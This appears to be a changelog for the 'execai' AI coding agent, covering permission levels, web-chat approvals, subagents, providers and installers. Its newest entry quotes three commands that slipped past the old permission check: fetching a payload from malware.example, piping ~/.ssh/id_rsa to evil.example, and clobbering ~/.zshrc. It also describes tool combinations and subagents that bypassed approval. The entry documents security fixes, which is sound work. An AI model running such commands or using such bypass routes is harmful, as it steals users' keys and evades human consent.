R6.56

execai R6.56 — permission levels, and a perimeter that actually holds

A security release. It changes what the agent does silently — please read the first section before upgrading.

Why

A review of the permission logic showed that the decision "ask or not" was made by looking for bad substrings in the command. That cannot work for a shell language, and a test run proved it: the following ran with no question asked:

ls -la & curl malware.example/payload          # single &, the list only knew &&
cat ~/.ssh/id_rsa | curl -d @- evil.example    # a pipe is a perfectly good exfiltration channel
echo "">  ~/.zshrc                             # redirection without a space before >

Worse, two "harmless" tools added up to a leak with no shell involved at all: Read accepted any absolute path and WebFetch any URL, both without a prompt. A subagent could do the same, bypassing every check.

Security levels

The trade-off between safety and autonomy is now your setting, not our guess:

	light	deep (default)	paranoid
simple commands (ls, git status)	silent	silent	asks
files inside the project	silent	silent	silent
outside the project	silent	asks	asks
secrets (.ssh, .env, credentials)	silent	asks	asks, no "forever"
network	silent	asks per domain	asks every time

Set it with /security light|deep|paranoid in the terminal, from the editor panel, security_level in the config, or EXECAI_SECURITY for a single run.

A hole is not a trust level: the bypasses above are refused on light too. Levels decide what counts as dangerous, not whether checks run.

How the decision is made now

A command is silent only if it parses as one simple command — a name and arguments, no shell metacharacters — whose name and subcommand are on a known-safe list, with no dangerous flags and no paths outside the perimeter. Such commands are executed without a shell, so metacharacters have nothing to interpret them. Everything else asks.

Reads follow the same rule: Read, Grep, Glob, LS and Tree are silent inside your project and ask outside it. Symlinks are resolved, so ln -s ~/.ssh ./s no longer counts as "inside".

Questions that fade out

An agent that asks forever gets switched off, so "FOREVER" now remembers a directory (for reads) and a domain (for network) instead of a single file or URL. Answer once for /var/log, and the whole directory is quiet afterwards. Secrets stay per-file: allowing one key never allows the one next to it.

Content fetched from the web arrives wrapped and labelled as data, not instructions. That is a second line of defence, not the first — against prompt injection the only real protection is that effects require your consent.

In the editor

Everything that used to require the terminal is now in the panel: sign in to ExecAI (the browser opens by itself), connect and disconnect providers with the key asked in an editor input, reasoning level, iteration limit, and the security level above.

Fixes

• The agent crashed on first run for anyone not signed in — exactly the scenario of the extension installing the CLI for you.
• A damaged subscriptions.json crashed the agent at startup instead of falling back to the base source and telling you the file is broken.
• "FOREVER" granted the whole tool instead of the directory you were asked about. The editor and the web chat recorded the permission themselves, bypassing the layer that knows the scope — so one answer about one directory opened reading of the entire machine. The prompt text was corrected too: it no longer promises more than it does.

Upgrading

Nothing to migrate. Bash, Write and Edit have no scope, so permissions you granted before behave exactly as they did. Read never asked before, so it cannot be in your permissions.json.

If you run execai serve unattended, note that reads outside the project and network calls can now raise a question in your web chat, and an unanswered question becomes a refusal. Either answer "forever" once per directory and domain, or run the background agent with security_level: light.

---

Install / upgrade:

curl -fsSL https://raw.githubusercontent.com/execai/execai-agent/main/install.sh | sh

R6.49

execai R6.49 — agent inside your editor

This release adds the IDE protocol that powers the ExecAI extension for VS Code and Cursor: the editor runs execai ide and talks to it over stdin/stdout, so the whole agent loop — tools, permissions, sources, memory, history — stays on your machine, in the CLI you already configured.

The extension

A sidebar chat with streaming answers, tool cards with live output, and the same five permission buttons you know from the TUI — Once / All of this tool in this task / This command in this task / FOREVER / Deny. Plus:

• Attachments — files by button, right-click in the explorer, or Ctrl+V; images get thumbnails and are sent as vision blocks
• Context — the active file and your selection travel with the message
• History — chats are the same store as /resume in the terminal: start a chat in the editor, continue it in your shell
• Model and source pickers right in the chat, showing the models of your current source
• Changed files as clickable chips, stop button, status line with model · source

Install it from the marketplace of your editor (or grab the .vsix from the extension repo) — the extension can download this CLI for you on first run.

Also in this release

• Background mode follows your local settings — execai serve uses your selected source, subscription, thinking budget and iteration limits instead of built-in defaults.
• Fixes carried over from the 6.3x line: honest startup banner, permissions.json prompts that name the real scope of a decision, and no hardcoded internal hostname in the plan hint.

---

Install / upgrade:

curl -fsSL https://raw.githubusercontent.com/execai/execai-agent/main/install.sh | bash

Windows:

iwr -useb https://storage.yandexcloud.net/execai-agent-prod/execai/stable/install.ps1 | iex

Full manual: README · Русский

R6.33

execai R6.32 — the agent asks you in the web chat

In background mode (execai serve) anything outside your permissions.json used to be silently refused — there was nobody around to confirm. Now there is: the agent asks right in the web chat, while the task is running.

Permission questions in the web chat

A question pops up in the chat showing the exact command the agent wants to run, with the same choices you know from the TUI:

• Once — allow only this call
• All of this tool in this task — until the task ends; the next task asks again
• This command in this task — exactly this call; repeats of it are covered
• FOREVER — the whole tool, written to permissions.json on the machine
• Deny — the agent gets a refusal and says so

Silence never widens permissions: no answer within ~2 minutes (or the tab is closed) → refusal. Every decision lands in the audit log next to the call it answered.

While a question is waiting, the browser tab title shows (?) — so you notice even from another tab.

Background mode follows your local settings

execai serve now runs tasks with the same configuration you use interactively: your selected source and subscription (/source, /connect), your thinking_budget, your iteration limits — instead of built-in defaults.

Fixes

• "This command" now survives cosmetic changes. Models tend to reword the human-readable description between two identical calls; the permission key now ignores it (and field order), so a repeat of the same command no longer asks twice. Existing permissions.json entries keep working.
• The startup banner no longer claims everything outside permissions.json will be refused — it says the agent will ask in the chat.
• The Russian TUI approve button reads «Разово» (proper adverb) instead of «Раз».

The web side needs the «Agents» tool in your project catalog on execai.ru. Questions require the current web release — if your chat has no question dialog yet, the agent falls back to refusing, never to allowing.

---

Install / upgrade:

curl -fsSL https://raw.githubusercontent.com/execai/execai-agent/main/install.sh | bash

Windows:

iwr -useb https://storage.yandexcloud.net/execai-agent-prod/execai/stable/install.ps1 | iex

Full manual: README · Русский

R6.17 — your machine as a tool in the web chat

execai R6 — your machine as a tool in the web chat

The big one: bind a directory to a web-chat project, start a background listener — and ask the model in your browser to do things on your machine. The task runs in the project's directory, the answer comes back into the chat.

Projects — /project

/project              # your projects; ● — bound to this directory
/project bind <name>  # bind the current directory + add this machine to the project
/project on|off       # the same on/off toggle as in the web project card
/project unbind       # remove the binding and the machine from the project

Your machine becomes a regular tool inside a project — exactly like an ssh profile, with the same on/off toggle in the project card. The UI shows machine aliases; the underlying id is stable and survives reinstall and re-login.

Background mode — execai serve

execai serve

Listens for tasks from the web chat and executes them:

• Runs in the directory bound to the task's project — not where serve was started. Directory missing → a clear error instead of running in the wrong place.
• Allowed tools = your permissions.json — what you approved with "FOREVER" in the TUI. Anything else is refused: there is nobody around to confirm. Empty file → everything allowed, with a loud warning at start.
• --read-only — look-but-don't-touch mode.
• Every tool call goes to an audit log ~/.config/execai/serve-audit.log (rotates at 8 MB) — so you can see what the agent did overnight.
• One daemon per machine. --status shows pid/uptime/endpoint, --stop stops gracefully (lets the current task finish), --stop --force kills after 5 s.
• Agent offline → the chat gets an honest "agent not responding" in ~12 s; the task stays queued and runs as soon as serve starts. Delivery is acknowledged, so a task handed into a dead connection is never lost.

The web side needs the «Agents» tool in your project catalog on execai.ru — it is being rolled out gradually. The CLI half works today.

Also in this release

• Agent memory: import and export. Pull in memory written by other agents (CLAUDE.md, .cursorrules, Copilot instructions) with provenance kept, export yours to any directory. A sync: false mark keeps a record on this machine only.
• Encryption layer (age). /key generates an X25519 identity; memory can be encrypted with keys you hold. Recipient model — several machines/people, one encrypted copy.
• Questions with options. The agent can ask a multiple-choice question instead of guessing when the answer would change the work.
• Subagents. Delegated read-only tasks in a nested loop, with a tighter iteration budget.
• zai-api source — pay-per-token Z.ai as a compliant alternative to the Coding Plan.

Fixes

• Agent tasks: the delivery contract with the tool pipeline is now respected — a completed task no longer looked like an empty answer in the chat.
• Tasks are no longer lost when the daemon dies mid-poll: delivery is offered, then acknowledged.
• A task now runs in the project selected in the chat, not in an arbitrary bound project.
• Machine names show as aliases everywhere instead of raw ids.

---

Install / upgrade:

curl -fsSL https://raw.githubusercontent.com/execai/execai-agent/main/install.sh | bash

Windows:

iwr -useb https://storage.yandexcloud.net/execai-agent-prod/execai/stable/install.ps1 | iex

Full manual: README · Русский

R5.160

execai R5.160

🤝 Questions with answers to pick

The agent can now ask you a question with 2–4 options instead of guessing — an unambiguous fork in the road, a choice between incompatible approaches, a requirement that reads two ways. Navigate with ↑↓, confirm with Enter, or press the option's number.

Pressing Esc is not a cancel: the model is told plainly that you declined to choose, so it decides on its own and states the assumption it made — instead of hanging or inventing an answer on your behalf.

🧩 Subagents

Task delegates a self-contained investigation to a subagent with its own loop and its own context, and returns a single block of text. Useful exactly when digging into a question would otherwise flood the main conversation: sweeping many files, collecting facts across a codebase, checking several places at once.

Two limits are deliberate:

• Subagents can only read (Read, Grep, Glob, LS, Tree, WebFetch, WebSearch). Their actions are never shown to you for approval, so they must not be able to act — the main agent, whose actions you do approve, does the writing.
• Subagents cannot spawn subagents. Recursion here multiplies provider quota spend in a way that is hard to notice.

Their iteration budget is 15 against the main agent's 40, for the same reason: every iteration is billed to your provider.

🟢 zai-api — Z.ai open platform

GLM models are now also reachable through Z.ai's open platform (api.z.ai/api/paas/v4, pay-per-token), separately from the GLM Coding Plan subscription.

It is the same key. Z.ai issues one key for both; only the billing differs (subscription quota vs prepaid balance). So if zai is already connected, /connect zai-api needs no argument — it reuses the key you already have.

Why this matters: Z.ai's usage policy limits the Coding Plan to a closed list of tools (Claude Code, Cursor, Cline, Roo Code, OpenCode and a few more), and execai is not on it — with rate limiting, account freezing and a ban after three violations on the table. /connect zai now says so plainly, in your interface language, and points at the open platform as the unrestricted path. Nothing is blocked; the choice is yours, it is just no longer silent.

🩹 Fixes

• Tool-call arguments containing Cyrillic were cut mid-character, painting garbage into the line and pulling the status hint on top of it — truncation is now rune-safe.
• The update check compared versions for equality, so any difference read as "update available" — including a rolled-back channel, which would have offered users a version older than their own.
• zai-api was missing from the command palette, so it did not turn up when you typed /con.

⚙️ Also

The tool-use iteration limit per turn is now 50 by default (was 40) — /max-iterations N still overrides it. Subagents keep their own tighter budget of 15.

All five READMEs caught up with the last three releases: the new tools, the zai-api source, and a WebFetch description that finally matches what it does.

Install

Linux / macOS (Intel and Apple Silicon are detected automatically):

# Worldwide — GitHub Releases:
curl -fsSL https://raw.githubusercontent.com/execai/execai-agent/main/install.sh | bash

# Russia / CIS — Yandex mirror (no VPN needed):
curl -fsSL https://storage.yandexcloud.net/execai-agent-prod/execai/stable/install.sh | bash

Windows (PowerShell; amd64 and ARM64 are detected automatically):

# Worldwide — GitHub Releases:
$env:MIRROR='github'; iex (irm https://raw.githubusercontent.com/execai/execai-agent/main/install.ps1)

# Russia / CIS — Yandex mirror:
iex (irm https://storage.yandexcloud.net/execai-agent-prod/execai/stable/install.ps1)

Use Windows Terminal, not the old cmd.exe — the TUI only renders correctly in a modern terminal. The installer also adds a Defender exclusion (Go binaries are unsigned and occasionally get flagged) and removes stale execai.exe copies left elsewhere in PATH.

Options for both installers:

Variable	Effect
MIRROR=github / yandex	Force a mirror. Default auto: tries one, falls back to the other
VERSION=5.160	Pin a specific release instead of the latest
INSTALL_DIR=...	Install somewhere other than the default

curl -fsSL https://raw.githubusercontent.com/execai/execai-agent/main/install.sh | VERSION=5.160 bash

Manual download — all binaries for this release: linux-amd64, linux-arm64, darwin-amd64, darwin-arm64, windows-amd64, windows-arm64, plus SHA256SUMS to verify.

Update — the same command as install: it overwrites the binary in place and keeps your config, subscriptions and history (~/.config/execai).

R5.152

execai R5.152

🟢 New source: zai-api — Z.ai open platform (pay-per-token)

The GLM models are now reachable through Z.ai's open platform (api.z.ai/api/paas/v4, OpenAI-compatible), separately from the GLM Coding Plan subscription — the same split we already have between kimi and kimi-api.

/connect zai-api <key>     # key from https://z.ai/manage-apikey/apikey-list
/source zai-api

The model catalog is fetched live from the provider at connect time; the primary model is picked by a priority list rather than the server's ordering. Model IDs are identical to the Coding Plan ones, so the two catalogs are kept apart by provider — a request never leaves for the wrong endpoint with the wrong key.

⚠️ Terms-of-service warning on /connect zai

Z.ai's usage policy limits the GLM Coding Plan to a closed list of tools (Claude Code, Cursor, Cline, Roo Code, OpenCode, Pi, Crush, Goose and a few more), and execai is not on it. Their policy allows rate limiting, freezing an account and a ban after three violations — and the account at risk belongs to the user, not to us.

So /connect zai now says this plainly, in your interface language, and points to zai-api as the unrestricted alternative. Nothing is blocked: the choice stays yours, it is just no longer silent.

If you paste a Coding Plan key into /connect zai-api (or the other way round), the key is rejected with an explanation of which key belongs where, instead of failing mysteriously later.

Install

# Worldwide (GitHub Releases):
curl -fsSL https://raw.githubusercontent.com/execai/execai-agent/main/install.sh | bash

# Russia/CIS (Yandex mirror):
curl -fsSL https://storage.yandexcloud.net/execai-agent-prod/execai/stable/install.sh | bash

R5.150

execai R5.150

🔎 Web search

New WebSearch tool: the agent can now look things up on the internet — fresh docs, an unfamiliar error, what changed between versions. Returns a written answer plus numbered sources with URLs, and any of them can be opened in full with WebFetch.

Search runs through the ExecAI gateway and needs an ExecAI account. Without a login the tool stays visible and explains — in your interface language — that search requires an account, and points you to WebFetch, which works from any subscription.

🌐 WebFetch: a readable page instead of raw HTML

• HTML is extracted into readable text, with <article> / <main> preferred — no more reading the site's navigation menu instead of the article
• Page title and the final URL after redirects
• Outgoing links with absolute URLs, so the agent can follow them with a second WebFetch
• JSON and plain text pass through untouched; raw: true returns the original source

🪪 Honest client identity

Every request to every provider now carries User-Agent: execai-agent/<version> (+https://github.com/execai/execai-agent). Previously the default Go-http-client/2.0 went out — not a disguise, but not an identification either. We never present ourselves as another client: providers of subscription plans (Kimi Code, Z.ai GLM Coding Plan) explicitly forbid spoofing the client identity, and being identifiable is the honest side of that rule.

Install

# Worldwide (GitHub Releases):
curl -fsSL https://raw.githubusercontent.com/execai/execai-agent/main/install.sh | bash

# Russia/CIS (Yandex mirror):
curl -fsSL https://storage.yandexcloud.net/execai-agent-prod/execai/stable/install.sh | bash

R5.144 — live Ollama Cloud catalog

execai R5.144

🦙 Live Ollama Cloud catalog

The ollama.com source now fetches the full live model catalog from your account instead of a hardcoded list — ~19 models today including kimi-k3, deepseek-v4-pro/flash, nemotron-3-ultra, minimax-m3, mistral-large-3:675b, qwen3.5:397b, glm-5.1/5.2, gemma4. New models appear automatically as Ollama ships them; primary defaults to the best coding flagship available.

📋 Paste quality-of-life

• Collapse threshold raised to 200 chars — API keys (40-160 chars) paste as plain visible text into /connect, no more hidden markers eating your keys
• [Pasted #N] markers expand inside slash commands too

Install

# Worldwide (GitHub Releases):
curl -fsSL https://raw.githubusercontent.com/execai/execai-agent/main/install.sh | bash

# Russia/CIS (Yandex mirror):
curl -fsSL https://storage.yandexcloud.net/execai-agent-prod/execai/stable/install.sh | bash

R5.141 — full localization & no-login mode

execai R5.141

🌍 Complete UI localization

Every corner of the TUI now speaks 5 languages (English, Русский, Español, Deutsch, 中文): /connect dialogs for all 9 providers, /usage quota reports, /sessions, /paste, login flow, iteration-limit messages — ~300 localized strings total. Auto-detected from $LANG, switchable anytime with the interactive /lang picker.

🔓 No-login mode

An ExecAI account is now fully optional:

• Slash commands work right from the login screen — /connect kimi <key> → /source kimi and you're working
• With an active external subscription, execai boots straight into chat — no login screen, no device-flow
• 8 BYOK sources: Z.ai Coding Plan, Kimi Code, Moonshot Platform, Anthropic API, OpenAI API, Claude Code CLI, Codex CLI, Ollama

📋 Paste improvements

• API keys paste as visible text — the collapse threshold raised to 200 chars, so 40-160-char keys (sk-ant-…, sk-ki-…) stay editable in /connect
• SSH paste-burst detection — pasting over SSH clients without bracketed paste (e.g. Bitvise) no longer submits lines one-by-one to the LLM; rapid keystroke streams are buffered and collapsed properly
• [Pasted #N] markers now expand inside slash commands too

📦 Install & update infrastructure

• GitHub-first installer: curl -fsSL https://raw.githubusercontent.com/execai/execai-agent/main/install.sh | bash — GitHub Releases by default, Yandex mirror auto-selected for ru locales, automatic fallback between mirrors
• Branch-independent stable channel — update checks and docs no longer reference R5; future R6+ releases land on the same URLs
• Bilingual installer messages (ru/en by system locale)

Install

# Worldwide (GitHub Releases):
curl -fsSL https://raw.githubusercontent.com/execai/execai-agent/main/install.sh | bash

# Russia/CIS (Yandex mirror — faster there):
curl -fsSL https://storage.yandexcloud.net/execai-agent-prod/execai/stable/install.sh | bash

Or grab the archive for your platform below and verify against SHA256SUMS.

R5.124 — multilingual UI

execai R5.124

🌍 Multilingual UI

The TUI now speaks 5 languages: English, Русский, Español, Deutsch, 中文.

• Auto-detected from $LANG / $LC_ALL on first start
• Switch anytime: type /lang and pick from the interactive menu (↑↓ + Enter)
• Your choice persists in the config across restarts
• Covers: command hints, autocomplete menus, /help, status bar, login flow, confirmation dialogs

📖 /help rewritten

All commands are now documented and grouped by section: Models & sources / Conversations / Automation / Settings — including /source, /connect, /usage, /effort, /loop, /paste that were previously missing.

🧰 Under the hood

• All code comments translated to English
• New smoke tests for locale catalogs
• Paste collapse, Ink-style rendering, and 9 LLM sources from previous releases — see v5.112 notes

Install

Linux / macOS:

curl -fsSL https://storage.yandexcloud.net/execai-agent-prod/execai/R5/latest/install.sh | bash

Windows 10/11 (amd64/arm64):

iwr -useb https://storage.yandexcloud.net/execai-agent-prod/execai/R5/latest/install.ps1 | iex

Or grab the archive for your platform below and verify against SHA256SUMS.

License

Business Source License 1.1 — free for internal/production use; hosted/managed service offerings require a commercial license (it@velesbsd.com).